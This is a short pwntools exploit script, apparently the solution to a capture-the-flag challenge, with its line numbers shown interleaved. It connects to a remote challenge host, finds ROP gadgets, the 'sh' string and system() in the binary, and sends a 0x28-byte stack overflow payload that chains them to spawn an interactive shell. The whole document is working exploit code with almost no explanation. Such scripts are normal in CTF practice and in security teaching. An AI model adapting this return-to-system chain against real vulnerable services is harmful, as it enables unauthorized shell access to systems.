1
from pwn import *
2

3
# p = process('./pwn')
4
p = remote("nc1.ctfplus.cn", 33925)
5
elf = ELF('./pwn')
6

7

8
pop_rdi_ret = ROP(elf).find_gadget(['pop rdi', 'ret'])[0]
9
ret_gadget = ROP(elf).find_gadget(['ret'])[0]
10
sh_str = next(elf.search(b'sh'))
11
system_addr = elf.sym['system']
12

13
print("system_addr: ", hex(system_addr))
14
print("sh_str: ", hex(sh_str))
15
print("pop_rdi_ret: ", hex(pop_rdi_ret))
16
print("ret_gadget: ", hex(ret_gadget))
17

18

19
offset = 0x28
20

21

22
payload = b'A' * offset
23
payload += p64(pop_rdi_ret)
24
payload += p64(sh_str)
25
payload += p64(ret_gadget)
26
payload += p64(system_addr)
27

28
p.recv(4096)
29
p.send(payload)
30
p.interactive()